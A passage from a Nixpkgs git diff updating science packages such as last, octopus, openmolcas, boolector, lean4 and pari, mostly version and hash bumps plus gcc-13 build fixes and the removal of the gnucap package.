"sha256-KMLy+YxRT5EDZhfqkZRHrPR9BmBg6hFWLSNwJhZ2I+k="; }; installPhase = '' diff --git a/pkgs/applications/science/biology/last/default.nix b/pkgs/applications/science/biology/last/default.nix index 96182dc835d54..3bc84e414bb75 100644 --- a/pkgs/applications/science/biology/last/default.nix +++ b/pkgs/applications/science/biology/last/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "last"; - version = "1540"; + version = "1542"; src = fetchFromGitLab { owner = "mcfrith"; repo = "last"; rev = "refs/tags/${version}"; - hash = "sha256-oGGpPWWQ5EVK9n5BLQwt1Wch2Xn24B+NrKg6+VrsUMY="; + hash = "sha256-ZzvyyecYiBscogfN9/FnDbHg/lqb8y14n9C2KLIqhFA="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/science/biology/octopus/default.nix b/pkgs/applications/science/biology/octopus/default.nix index 35898aae9f3e2..0090ca82d6c37 100644 --- a/pkgs/applications/science/biology/octopus/default.nix +++ b/pkgs/applications/science/biology/octopus/default.nix @@ -19,10 +19,17 @@ stdenv.mkDerivation rec { sha256 = "sha256-VaUr63v7mzhh4VBghH7a7qrqOYwl6vucmmKzTi9yAjY="; }) ]; - env.NIX_CFLAGS_COMPILE = toString [ - # Needed with GCC 12 - "-Wno-error=deprecated-declarations" - ]; + postPatch = '' + # Disable -Werror to avoid build failure on fresh toolchains like + # gcc-13. + substituteInPlace lib/date/CMakeLists.txt --replace-fail ' -Werror ' ' ' + substituteInPlace lib/ranger/CMakeLists.txt --replace-fail ' -Werror ' ' ' + substituteInPlace lib/tandem/CMakeLists.txt --replace-fail ' -Werror ' ' ' + substituteInPlace src/CMakeLists.txt --replace-fail ' -Werror ' ' ' + + # Fix gcc-13 build due to missing <cstdint> header. + sed -e '1i #include <cstdint>' -i src/core/tools/vargen/utils/assembler.hpp + ''; postInstall = '' mkdir $out/bin diff --git a/pkgs/applications/science/biology/sortmerna/default.nix b/pkgs/applications/science/biology/sortmerna/default.nix index a529867aaa743..bfd6d20f1384a 100644 --- a/pkgs/applications/science/biology/sortmerna/default.nix +++ b/pkgs/applications/science/biology/sortmerna/default.nix @@ -32,6 +32,10 @@ stdenv.mkDerivation rec { substituteInPlace src/sortmerna/CMakeLists.txt \ --replace "target_link_libraries(sortmerna" \ "target_link_libraries(sortmerna Threads::Threads" + + # Fix gcc-13 build by adding missing <cstdint> includes: + # https://github.com/sortmerna/sortmerna/issues/412 + sed -e '1i #include <cstdint>' -i include/kseq_load.hpp ''; meta = with lib; { diff --git a/pkgs/applications/science/chemistry/avogadro2/default.nix b/pkgs/applications/science/chemistry/avogadro2/default.nix index dad31b738a84e..7b8d69681f463 100644 --- a/pkgs/applications/science/chemistry/avogadro2/default.nix +++ b/pkgs/applications/science/chemistry/avogadro2/default.nix @@ -12,13 +12,13 @@ let in stdenv.mkDerivation rec { pname = "avogadro2"; - version = "1.98.1"; + version = "1.99.0"; src = fetchFromGitHub { owner = "OpenChemistry"; repo = "avogadroapp"; rev = version; - hash = "sha256-N35WGYZbgfjKnorzGKCnbBvlrlt9Vr04YIG2R3k+b8A="; + hash = "sha256-m8kX4WzOmPE/BZQRePOoUAdMPdWb6pmcqtPvDdEIIao="; }; postUnpack = '' @@ -37,7 +37,7 @@ in stdenv.mkDerivation rec { propagatedBuildInputs = [ openbabel ]; - qtWrapperArgs = [ "--prefix PATH : ${openbabel}/bin" ]; + qtWrapperArgs = [ "--prefix PATH : ${lib.getBin openbabel}/bin" ]; meta = with lib; { description = "Molecule editor and visualizer"; diff --git a/pkgs/applications/science/chemistry/openmolcas/default.nix b/pkgs/applications/science/chemistry/openmolcas/default.nix index 0aeb01c2916b5..8ad9794739559 100644 --- a/pkgs/applications/science/chemistry/openmolcas/default.nix +++ b/pkgs/applications/science/chemistry/openmolcas/default.nix @@ -13,7 +13,7 @@ , libxc , makeWrapper , gsl -, boost175 +, boost180 , autoPatchelfHook # Note that the CASPT2 module is broken with MPI # See https://gitlab.com/Molcas/OpenMolcas/-/issues/169 @@ -41,16 +41,15 @@ let }; in -stdenv.mkDerivation { +stdenv.mkDerivation rec { pname = "openmolcas"; - version = "23.10"; + version = "24.02"; src = fetchFromGitLab { owner = "Molcas"; repo = "OpenMolcas"; - # The tag keeps moving, fix a hash instead - rev = "c74317e68572d1da82fdce4210b005c2c1b1de53"; # 2023-09-25 - hash = "sha256-wBrASZ6YFsWsu/TreEZ6Q+VxNQwCwMpyPC8AOqmNxos="; + rev = "v${version}"; + hash = "sha256-4Ek0cnaRfLEbj1Nj31rRp9b2sois4rIFTcpOUq9h2mw="; }; patches = [ @@ -59,9 +58,6 @@ stdenv.mkDerivation { # Required for a local QCMaquis build ./qcmaquis.patch - - # PyParsing >= 3.11 compatibility, can be removed on next release - ./pyparsing.patch ]; postPatch = '' @@ -93,7 +89,7 @@ stdenv.mkDerivation { armadillo libxc gsl.dev - boost175 + boost180 ] ++ lib.optionals enableMpi [ mpi globalarrays @@ -155,7 +151,7 @@ stdenv.mkDerivation { homepage = "https://gitlab.com/Molcas/OpenMolcas"; maintainers = [ maintainers.markuskowa ]; license = with licenses; [ lgpl21Only bsd3 ]; - platforms = [ "x86_64-linux" ]; + platforms = [ "aarch64-linux" "x86_64-linux" ]; mainProgram = "pymolcas"; }; } diff --git a/pkgs/applications/science/chemistry/openmolcas/pyparsing.patch b/pkgs/applications/science/chemistry/openmolcas/pyparsing.patch deleted file mode 100644 index 271b52840ff93..0000000000000 --- a/pkgs/applications/science/chemistry/openmolcas/pyparsing.patch +++ /dev/null @@ -1,37 +0,0 @@ -diff --git a/Tools/pymolcas/emil_grammar.py b/Tools/pymolcas/emil_grammar.py -index acbbae8..509c56f 100644 ---- a/Tools/pymolcas/emil_grammar.py -+++ b/Tools/pymolcas/emil_grammar.py -@@ -15,6 +15,14 @@ - - from __future__ import (unicode_literals, division, absolute_import, print_function) - -+try: -+ u = unicode -+ del u -+ py2 = True -+except NameError: -+ pass -+ -+ - from re import sub - from pyparsing import * - -@@ -24,6 +32,8 @@ def chomp(s): - - def chompAction(s, l, t): - try: -+ if (py2): -+ pass - return list(map(lambda s: chomp(unicode(s)), t)) - except NameError: - return list(map(chomp, t)) -@@ -33,6 +43,8 @@ def removeEMILEnd(s): - - def removeEMILEndAction(s, l, t): - try: -+ if (py2): -+ pass - return list(map(lambda s: removeEMILEnd(unicode(s)), t)) - except NameError: - return list(map(removeEMILEnd, t)) diff --git a/pkgs/applications/science/computer-architecture/qtrvsim/default.nix b/pkgs/applications/science/computer-architecture/qtrvsim/default.nix index 73c3c9a11f171..c60ee224aa2a4 100644 --- a/pkgs/applications/science/computer-architecture/qtrvsim/default.nix +++ b/pkgs/applications/science/computer-architecture/qtrvsim/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "QtRVSim"; - version = "0.9.6"; + version = "0.9.7"; src = fetchFromGitHub { owner = "cvut"; repo = "qtrvsim"; rev = "refs/tags/v${version}"; - sha256 = "sha256-cC3DvQj2VBnGad6ZDn3x4gHQfsPpySzjTi17PQoaxPU="; + sha256 = "sha256-SelmqHauj5Yxg043NZqR4bhqW5clwg1h7UD8mW7j7vE="; }; nativeBuildInputs = [ cmake wrapQtAppsHook ]; diff --git a/pkgs/applications/science/computer-architecture/timeloop/default.nix b/pkgs/applications/science/computer-architecture/timeloop/default.nix index 4e794aaa29e24..ec8ec3ed8abc6 100644 --- a/pkgs/applications/science/computer-architecture/timeloop/default.nix +++ b/pkgs/applications/science/computer-architecture/timeloop/default.nix @@ -15,13 +15,13 @@ stdenv.mkDerivation rec { pname = "timeloop"; - version = "unstable-2022-11-29"; + version = "3.0.3"; src = fetchFromGitHub { owner = "NVlabs"; repo = "timeloop"; - rev = "905ba953432c812772de935d57fd0a674a89d3c1"; - hash = "sha256-EXiWXf8hdX4vFRNk9wbFSOsix/zVkwrafGUtFrsoAN0="; + rev = "v${version}"; + hash = "sha256-CGPhrBNzFdERAA/Eym2v0+FvFUe+VkBLnwYEqEMHE9k="; }; nativeBuildInputs = [ scons ]; @@ -46,10 +46,14 @@ stdenv.mkDerivation rec { env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.isDarwin "-fno-lto"; postPatch = '' + # Fix gcc-13 build failure due to missing includes: + sed -e '1i #include <cstdint>' -i \ + include/compound-config/compound-config.hpp + # use nix ar/ranlib substituteInPlace ./SConstruct \ - --replace "env.Replace(AR = \"gcc-ar\")" "" \ - --replace "env.Replace(RANLIB = \"gcc-ranlib\")" "" + --replace-fail "env.Replace(AR = \"gcc-ar\")" "pass" \ + --replace-fail "env.Replace(RANLIB = \"gcc-ranlib\")" "pass" '' + lib.optionalString stdenv.isDarwin '' # prevent clang from dying on errors that gcc is fine with substituteInPlace ./src/SConscript --replace "-Werror" "-Wno-inconsistent-missing-override" diff --git a/pkgs/applications/science/electronics/gnucap/default.nix b/pkgs/applications/science/electronics/gnucap/default.nix deleted file mode 100644 index 0ec10f2444fd5..0000000000000 --- a/pkgs/applications/science/electronics/gnucap/default.nix +++ /dev/null @@ -1,27 +0,0 @@ -{ lib, stdenv, fetchurl }: - -stdenv.mkDerivation rec { - pname = "gnucap"; - version = "20210107"; - - src = fetchurl { - url = "https://git.savannah.gnu.org/cgit/gnucap.git/snapshot/${pname}-${version}.tar.gz"; - sha256 = "12rlwd4mfc54qq1wrx5k8qk578xls5z4isf94ybkf2z6qxk4mhnj"; - }; - - doCheck = true; - - meta = with lib; { - description = "Gnu Circuit Analysis Package"; - longDescription = '' -Gnucap is a modern general purpose circuit simulator with several advantages over Spice derivatives. -It performs nonlinear dc and transient analyses, fourier analysis, and ac analysis. - ''; - homepage = "http://www.gnucap.org/"; - changelog = "https://git.savannah.gnu.org/cgit/gnucap.git/plain/NEWS?h=v${version}"; - license = licenses.gpl3Plus; - platforms = platforms.all; - broken = stdenv.isDarwin; # Relies on LD_LIBRARY_PATH - maintainers = [ maintainers.raboof ]; - }; -} diff --git a/pkgs/applications/science/electronics/magic-vlsi/default.nix b/pkgs/applications/science/electronics/magic-vlsi/default.nix index a6237be645b5d..15130deefc584 100644 --- a/pkgs/applications/science/electronics/magic-vlsi/default.nix +++ b/pkgs/applications/science/electronics/magic-vlsi/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "magic-vlsi"; - version = "8.3.460"; + version = "8.3.463"; src = fetchurl { url = "http://opencircuitdesign.com/magic/archive/magic-${version}.tgz"; - sha256 = "sha256-MiwwCVpbmEuGwY36/ctfD0xK4RL5tolM/YPSHLIzrgk="; + sha256 = "sha256-ba5kTz5ncsEPTh0a0/tbp37qFogUQ+W4p2rPNFLNIAY="; }; nativeBuildInputs = [ python3 ]; diff --git a/pkgs/applications/science/electronics/qucs-s/default.nix b/pkgs/applications/science/electronics/qucs-s/default.nix index 593e9d9187b74..4117638a1fda9 100644 --- a/pkgs/applications/science/electronics/qucs-s/default.nix +++ b/pkgs/applications/science/electronics/qucs-s/default.nix @@ -18,13 +18,13 @@ stdenv.mkDerivation rec { pname = "qucs-s"; - version = "2.1.0"; + version = "24.1.0"; src = fetchFromGitHub { owner = "ra3xdh"; repo = "qucs_s"; rev = version; - sha256 = "sha256-C7TLOuC0CHredDiWFIAFmOlV8ivX0j4bs3b8IB8FsqE="; + sha256 = "sha256-ei9CPlJg+Kfjh7vu5VnT6DNLmmnA8wZ2A1jXnm//Fgo="; }; nativeBuildInputs = [ flex bison wrapQtAppsHook cmake ]; diff --git a/pkgs/applications/science/electronics/verilator/default.nix b/pkgs/applications/science/electronics/verilator/default.nix index 8d0fef289104a..062ba93ca4203 100644 --- a/pkgs/applications/science/electronics/verilator/default.nix +++ b/pkgs/applications/science/electronics/verilator/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "verilator"; - version = "5.020"; + version = "5.022"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-7kxH/RPM+fjDuybwJgTYm0X6wpaqesGfu57plrExd8c="; + hash = "sha256-Ya3lqK8BfvMVLZUrD2Et6OmptteWXp5VmZb2x2G/V/E="; }; enableParallelBuilding = true; diff --git a/pkgs/applications/science/engineering/strictdoc/default.nix b/pkgs/applications/science/engineering/strictdoc/default.nix index 54a4e21a3f60e..5097a936caaa1 100644 --- a/pkgs/applications/science/engineering/strictdoc/default.nix +++ b/pkgs/applications/science/engineering/strictdoc/default.nix @@ -6,31 +6,20 @@ python3.pkgs.buildPythonApplication rec { pname = "strictdoc"; version = "0.0.40"; - format = "pyproject"; + pyproject = true; src = fetchFromGitHub { owner = "strictdoc-project"; - repo = pname; + repo = "strictdoc"; rev = "refs/tags/${version}"; hash = "sha256-kZ8qVhroSPSGAcgUFZb1vRI6JoFyjeg/0qYosbRnwyc="; }; - postPatch = '' - substituteInPlace pyproject.toml \ - --replace '"textx >= 3.0.0, == 3.*"' '"textx"' \ - --replace '"docutils >= 0.16, == 0.*"' '"docutils"' \ - --replace '"pygments >= 2.10.0, == 2.*"' '"pygments"' \ - --replace '"lxml >= 4.6.2, == 4.*"' '"lxml"' \ - --replace '"beautifulsoup4 >= 4.12.0, == 4.*"' '"beautifulsoup4"' \ - --replace '"python-datauri >= 0.2.9, == 0.*"' '"python-datauri"' \ - --replace '"XlsxWriter >= 1.3.7, == 1.*"' '"XlsxWriter"' \ - --replace '"xlrd >= 2.0.1, == 2.*"' '"xlrd"' \ - --replace '"reqif >= 0.0.33, == 0.*"' '"reqif"' \ - --replace '"pybtex >= 0.23.0, == 0.*"' '"pybtex"' - ''; + pythonRelaxDeps = true; nativeBuildInputs = with python3.pkgs; [ hatchling + pythonRelaxDepsHook ]; propagatedBuildInputs = with python3.pkgs; [ @@ -46,16 +35,20 @@ python3.pkgs.buildPythonApplication rec { pygments python-multipart reqif + selenium setuptools + spdx-tools textx toml uvicorn + webdriver-manager websockets xlrd xlsxwriter ] ++ uvicorn.optional-dependencies.standard; nativeCheckInputs = with python3.pkgs; [ + httpx pytestCheckHook ]; diff --git a/pkgs/applications/science/logic/boolector/cmake-gtest.patch b/pkgs/applications/science/logic/boolector/cmake-gtest.patch deleted file mode 100644 index 61a64d3abbbfe..0000000000000 --- a/pkgs/applications/science/logic/boolector/cmake-gtest.patch +++ /dev/null @@ -1,16 +0,0 @@ -diff --git a/cmake/googletest-download.cmake b/cmake/googletest-download.cmake -index 0ec4d558..d0910313 100644 ---- a/cmake/googletest-download.cmake -+++ b/cmake/googletest-download.cmake -@@ -9,10 +9,7 @@ ExternalProject_Add( - googletest - SOURCE_DIR "@GOOGLETEST_DOWNLOAD_ROOT@/googletest-src" - BINARY_DIR "@GOOGLETEST_DOWNLOAD_ROOT@/googletest-build" -- GIT_REPOSITORY -- https://github.com/google/googletest.git -- GIT_TAG -- release-1.10.0 -+ URL REPLACEME - CONFIGURE_COMMAND "" - BUILD_COMMAND "" - INSTALL_COMMAND "" diff --git a/pkgs/applications/science/logic/boolector/default.nix b/pkgs/applications/science/logic/boolector/default.nix index 1d7e01c553b65..d23db163aeb64 100644 --- a/pkgs/applications/science/logic/boolector/default.nix +++ b/pkgs/applications/science/logic/boolector/default.nix @@ -4,34 +4,31 @@ stdenv.mkDerivation rec { pname = "boolector"; - version = "3.2.2"; + version = "3.2.3"; src = fetchFromGitHub { owner = "boolector"; repo = "boolector"; rev = version; - sha256 = "1smcy6yp8wvnw2brgnv5bf40v87k4v4fbdbrhi7987vja632k50z"; + hash = "sha256-CdfpXUbU1+yEmrNyl+hvHlJfpzzzx356naim6vRafDg="; }; patches = [ - # present in master - remove after 3.2.2 + # present in master - remove after 3.2.3 (fetchpatch { - name = "fix-parser-getc-char-casts.patch"; - url = "https://github.com/Boolector/boolector/commit/cc3a70918538c1e71ea5e7273fa1ac098da37c1b.patch"; - sha256 = "0pjvagcy74vxa2q75zbshcz8j7rvhl98549xfcf5y8yyxf5h8hyq"; + name = "update-unit-tests-to-cpp-14.patch"; + url = "https://github.com/Boolector/boolector/commit/cc13f371c0c5093d98638ddd213dc835ef3aadf3.patch"; + hash = "sha256-h8DBhAvUu+wXBwmvwRhHnJv3XrbEpBpvX9D1FI/+avc="; }) ]; - postPatch = '' - sed s@REPLACEME@file://${gtest.src}@ ${./cmake-gtest.patch} | patch -p1 - ''; - - nativeBuildInputs = [ cmake ]; + nativeBuildInputs = [ cmake gtest ]; buildInputs = [ lingeling btor2tools gmp ]; cmakeFlags = [ "-DBUILD_SHARED_LIBS=ON" "-DUSE_LINGELING=YES" + "-DBtor2Tools_INCLUDE_DIR=${btor2tools.dev}/include/btor2parser" ] ++ (lib.optional (gmp != null) "-DUSE_GMP=YES"); nativeCheckInputs = [ python3 ]; diff --git a/pkgs/applications/science/logic/cadical/default.nix b/pkgs/applications/science/logic/cadical/default.nix index 49ba06e36cc00..873b3836b73e0 100644 --- a/pkgs/applications/science/logic/cadical/default.nix +++ b/pkgs/applications/science/logic/cadical/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "cadical"; - version = "1.9.4"; + version = "1.9.5"; src = fetchFromGitHub { owner = "arminbiere"; repo = "cadical"; rev = "rel-${version}"; - sha256 = "sha256-cSuvvd7ci8jXzFowS7+V3bor7bXCxaKcGdDU91nIo+k="; + sha256 = "sha256-mAKuz8WjX+ywQ7Sw5hRMPftsbbilTlmQ9qZVowXxs28="; }; outputs = [ "out" "dev" "lib" ]; diff --git a/pkgs/applications/science/logic/cryptominisat/default.nix b/pkgs/applications/science/logic/cryptominisat/default.nix index a028803db1399..f2e3eaab91dc7 100644 --- a/pkgs/applications/science/logic/cryptominisat/default.nix +++ b/pkgs/applications/science/logic/cryptominisat/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "cryptominisat"; - version = "5.11.15"; + version = "5.11.21"; src = fetchFromGitHub { owner = "msoos"; repo = "cryptominisat"; rev = version; - hash = "sha256-OenuIPo5U0+egWMpxfaKWPLbO5YRQJSXLYptih+ZQQ0="; + hash = "sha256-8oH9moMjQEWnQXKmKcqmXuXcYkEyvr4hwC1bC4l26mo="; }; buildInputs = [ python3 boost ]; diff --git a/pkgs/applications/science/logic/elan/default.nix b/pkgs/applications/science/logic/elan/default.nix index b0df275085e6d..129aacc07f62a 100644 --- a/pkgs/applications/science/logic/elan/default.nix +++ b/pkgs/applications/science/logic/elan/default.nix @@ -1,18 +1,18 @@ -{ stdenv, lib, runCommand, patchelf, makeWrapper, pkg-config, curl, runtimeShell +{ stdenv, lib, runCommand, patchelf, makeWrapper, pkg-config, curl, runtimeShell, fetchpatch , openssl, zlib, fetchFromGitHub, rustPlatform, libiconv }: rustPlatform.buildRustPackage rec { pname = "elan"; - version = "3.0.0"; + version = "3.1.1"; src = fetchFromGitHub { owner = "leanprover"; repo = "elan"; rev = "v${version}"; - sha256 = "sha256-VrCEwAoWKhb1qfJUv3OreTzuKEVQADwZpEQIVEhjwHA="; + hash = "sha256-/g5bO3UQcg0XYm62KdoWcVQqOV3SIedWUYLufEcblmE="; }; - cargoHash = "sha256-SMKFSu5C5mc3U266hEa6RB3GH5te3jIrUZAzj3YNa2E="; + cargoHash = "sha256-f8YVUTxHX1FY2p73DlnLDtCJaG/0JImUtJFraV6ErNM="; nativeBuildInputs = [ pkg-config makeWrapper ]; @@ -23,6 +23,14 @@ rustPlatform.buildRustPackage rec { buildFeatures = [ "no-self-update" ]; patches = lib.optionals stdenv.isLinux [ + # revert temporary directory creation, because it break the wrapper + # https://github.com/NixOS/nixpkgs/pull/289941#issuecomment-1980778358 + (fetchpatch { + url = "https://github.com/leanprover/elan/commit/bd54acaab75d08b3912ee1f051af8657f3a9cfdf.patch"; + hash = "sha256-6If/wxWSea8Zjlp3fx9wh3D0TjmWZbvCuY9q5c2qJGA="; + revert = true; + }) + # Run patchelf on the downloaded binaries. # This is necessary because Lean 4 is now dynamically linked. (runCommand "0001-dynamically-patchelf-binaries.patch" { diff --git a/pkgs/applications/science/logic/lean4/default.nix b/pkgs/applications/science/logic/lean4/default.nix index 97336c06b8067..fbc41a67d73ba 100644 --- a/pkgs/applications/science/logic/lean4/default.nix +++ b/pkgs/applications/science/logic/lean4/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "lean4"; - version = "4.5.0"; + version = "4.6.1"; src = fetchFromGitHub { owner = "leanprover"; repo = "lean4"; rev = "v${finalAttrs.version}"; - hash = "sha256-KTCTk4Fpbmm7FsUo03tAvenC6HuB3zJGax6iGTwLaXM="; + hash = "sha256-wUqGADwSocg2ciycCxg9qp+vJLJ2otA/5JpTrkFrDoQ="; }; postPatch = '' diff --git a/pkgs/applications/science/logic/opensmt/default.nix b/pkgs/applications/science/logic/opensmt/default.nix index 5ae032ea30974..6d073400209de 100644 --- a/pkgs/applications/science/logic/opensmt/default.nix +++ b/pkgs/applications/science/logic/opensmt/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "opensmt"; - version = "2.5.2"; + version = "2.6.0"; src = fetchFromGitHub { owner = "usi-verification-and-security"; repo = "opensmt"; rev = "v${version}"; - sha256 = "sha256-gP2oaTEBVk54oK4Le5VudF7+HM8JXCzVqv8UXc08RFQ="; + sha256 = "sha256-glIiyPSkLG7sGYw5ujfl47GuDuPIPdP+UybA1vSn0Uw="; }; nativeBuildInputs = [ cmake bison flex ]; diff --git a/pkgs/applications/science/logic/potassco/clingcon.nix b/pkgs/applications/science/logic/potassco/clingcon.nix index e024ffb9364e9..4966bf608bc98 100644 --- a/pkgs/applications/science/logic/potassco/clingcon.nix +++ b/pkgs/applications/science/logic/potassco/clingcon.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "clingcon"; - version = "5.2.0"; + version = "5.2.1"; src = fetchFromGitHub { owner = "potassco"; repo = pname; rev = "v${version}"; - sha256 = "sha256-wZfTneoQSqEnLAVE8WyPh9EABmOEhDgRm6yWAF1T7Nk="; + sha256 = "sha256-R2kgcw8VUwhOdvPXnsahT5gnoUd5DXLqfdH++8rFoAA="; }; postPatch = '' diff --git a/pkgs/applications/science/logic/potassco/clingo.nix b/pkgs/applications/science/logic/potassco/clingo.nix index a3c324d0dbb88..ad3af12429a29 100644 --- a/pkgs/applications/science/logic/potassco/clingo.nix +++ b/pkgs/applications/science/logic/potassco/clingo.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "clingo"; - version = "5.6.2"; + version = "5.7.1"; src = fetchFromGitHub { owner = "potassco"; repo = "clingo"; rev = "v${version}"; - sha256 = "sha256-2vOscD5jengY3z9gHoY9y9y6RLfdzUj7BNKLyppNRac="; + sha256 = "sha256-S0JAfMwg49aryKABbC/2oLCEkndVpMVcFE6X0vkbtNc="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/science/logic/stp/default.nix b/pkgs/applications/science/logic/stp/default.nix index 42926a870816b..fb41ea07f5a15 100644 --- a/pkgs/applications/science/logic/stp/default.nix +++ b/pkgs/applications/science/logic/stp/default.nix @@ -11,6 +11,20 @@ stdenv.mkDerivation rec { rev = version; sha256 = "1yg2v4wmswh1sigk47drwsxyayr472mf4i47lqmlcgn9hhbx1q87"; }; + patches = [ + # Fix missing type declaration + # due to undeterminisitic compilation + # of circularly dependent headers + ./stdint.patch + ]; + + postPatch = '' + # Upstream fix for gcc-13 support: + # https://github.com/stp/stp/pull/462 + # Can't apply it as is as patch context changed in ither patches. + # TODO: remove me on 2.4 release + sed -e '1i #include <cstdint>' -i include/stp/AST/ASTNode.h + ''; buildInputs = [ boost zlib minisat cryptominisat python3 ]; nativeBuildInputs = [ cmake bison flex perl ]; @@ -26,7 +40,7 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Simple Theorem Prover"; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ McSinyx ]; platforms = platforms.linux; license = licenses.mit; }; diff --git a/pkgs/applications/science/logic/stp/stdint.patch b/pkgs/applications/science/logic/stp/stdint.patch new file mode 100644 index 0000000000000..6595d55617315 --- /dev/null +++ b/pkgs/applications/science/logic/stp/stdint.patch @@ -0,0 +1,16 @@ +diff --git a/include/stp/AST/ASTNode.h b/include/stp/AST/ASTNode.h +index 91acd726182c..0a17db23ffbf 100644 +--- a/include/stp/AST/ASTNode.h ++++ b/include/stp/AST/ASTNode.h +@@ -24,9 +24,10 @@ THE SOFTWARE. + #ifndef ASTNODE_H + #define ASTNODE_H + ++#include "stp/AST/ASTInternal.h" + #include "stp/AST/NodeFactory/HashingNodeFactory.h" ++#include "stp/AST/UsefulDefs.h" + #include "stp/Util/Attributes.h" +-#include "ASTInternal.h" + #include "stp/Globals/Globals.h" + + namespace stp diff --git a/pkgs/applications/science/machine-learning/starspace/default.nix b/pkgs/applications/science/machine-learning/starspace/default.nix index ab0c10efebce7..f4ca74ef5bbf1 100644 --- a/pkgs/applications/science/machine-learning/starspace/default.nix +++ b/pkgs/applications/science/machine-learning/starspace/default.nix @@ -28,6 +28,9 @@ stdenv.mkDerivation rec { ''; meta = with lib; { + # Does not build against gcc-13. No development activity upstream + # for past few years. + broken = true; description = "General-purpose neural model for efficient learning of entity embeddings"; homepage = "https://ai.facebook.com/tools/starspace/"; license = licenses.mit; diff --git a/pkgs/applications/science/math/eigenmath/default.nix b/pkgs/applications/science/math/eigenmath/default.nix index c43add48fcb6d..49515a6601d41 100644 --- a/pkgs/applications/science/math/eigenmath/default.nix +++ b/pkgs/applications/science/math/eigenmath/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "eigenmath"; - version = "unstable-2024-02-04"; + version = "unstable-2024-03-06"; src = fetchFromGitHub { owner = "georgeweigt"; repo = pname; - rev = "3e37263611e181e2927d63b97b7656790c7f4fe1"; - hash = "sha256-gjmz9Ma7OLQyIry6i2HMNy4Ai5Wh5NUzDKPO2a9Hp+s="; + rev = "ff2a5f89969e106f57ad624ac3897e06f26692d7"; + hash = "sha256-54nw734EjICaac8PvdgiGeDWdJTCXnWVUJL2uE937E4="; }; checkPhase = let emulator = stdenv.hostPlatform.emulator buildPackages; in '' diff --git a/pkgs/applications/science/math/geogebra/default.nix b/pkgs/applications/science/math/geogebra/default.nix index f4c6e724270de..5fa4862bb9b40 100644 --- a/pkgs/applications/science/math/geogebra/default.nix +++ b/pkgs/applications/science/math/geogebra/default.nix @@ -1,10 +1,10 @@ -{ lib, stdenv, fetchurl, xorg, jre, makeDesktopItem, makeWrapper, unzip, language ? "en_US" }: +{ lib, stdenv, fetchurl, libGL, xorg, jre, makeDesktopItem, makeWrapper, unzip, language ? "en_US" }: let pname = "geogebra"; version = "5-0-785-0"; srcIcon = fetchurl { - url = "http://static.geogebra.org/images/geogebra-logo.svg"; + url = "https://web.archive.org/web/20200227000442if_/https://static.geogebra.org/images/geogebra-logo.svg"; hash = "sha256-Vd7Wteya04JJT4WNirXe8O1sfVKUgc0hKGOy7d47Xgc="; }; @@ -55,10 +55,10 @@ let installPhase = '' install -D geogebra/* -t "$out/libexec/geogebra/" - # The bundled jogl (required for 3D graphics) links to libXxf86vm + # The bundled jogl (required for 3D graphics) links to libXxf86vm, and loads libGL at runtime # OpenGL versions newer than 3.0 cause "javax.media.opengl.GLException: Not a GL2 implementation" makeWrapper "$out/libexec/geogebra/geogebra" "$out/bin/geogebra" \ - --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ xorg.libXxf86vm ]}" \ + --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ libGL xorg.libXxf86vm ]}" \ --set MESA_GL_VERSION_OVERRIDE 3.0 \ --set JAVACMD "${jre}/bin/java" \ --set GG_PATH "$out/libexec/geogebra" \ diff --git a/pkgs/applications/science/math/pari/default.nix b/pkgs/applications/science/math/pari/default.nix index 2480ff3eba81e..16c8def750d7e 100644 --- a/pkgs/applications/science/math/pari/default.nix +++ b/pkgs/applications/science/math/pari/default.nix @@ -15,7 +15,7 @@ assert withThread -> libpthreadstubs != null; stdenv.mkDerivation rec { pname = "pari"; - version = "2.15.4"; + version = "2.15.5"; src = fetchurl { urls = [ @@ -23,7 +23,7 @@ stdenv.mkDerivation rec { # old versions are at the url below "https://pari.math.u-bordeaux.fr/pub/pari/OLD/${lib.versions.majorMinor version}/${pname}-${version}.tar.gz" ]; - hash = "sha256-w1Rb/uDG37QLd/tLurr5mdguYAabn20ovLbPAEyMXA8="; + hash = "sha256-Dv3adRXZ2VT2MyTDSzTFYOYPc6gcOSSnEmCizJHV+YE="; }; buildInputs = [ diff --git a/pkgs/applications/science/math/primesieve/default.nix b/pkgs/applications/science/math/primesieve/default.nix index 20da1d342831f..8ca3f1393a76c 100644 --- a/pkgs/applications/science/math/primesieve/default.nix +++ b/pkgs/applications/science/math/primesieve/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "primesieve"; - version = "11.2"; + version = "12.0"; src = fetchFromGitHub { owner = "kimwalisch"; repo = "primesieve"; rev = "v${version}"; - hash = "sha256-HtVuUS4dmTC7KosyBhqZ0QRstvon9WMxYf9Ocs1XIrs="; + hash = "sha256-xmOq18falvT8PKhJPwWm/aeOMf7I3ywR+h5OkTM3G6s="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/science/math/wxmaxima/default.nix b/pkgs/applications/science/math/wxmaxima/default.nix index 174a78697917a..057a11fa3cddf 100644 --- a/pkgs/applications/science/math/wxmaxima/default.nix +++ b/pkgs/applications/science/math/wxmaxima/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation (finalAttrs:{ pname = "wxmaxima"; - version = "24.02.1"; + version = "24.02.2"; src = fetchFromGitHub { owner = "wxMaxima-developers"; repo = "wxmaxima"; rev = "Version-${finalAttrs.version}"; - hash = 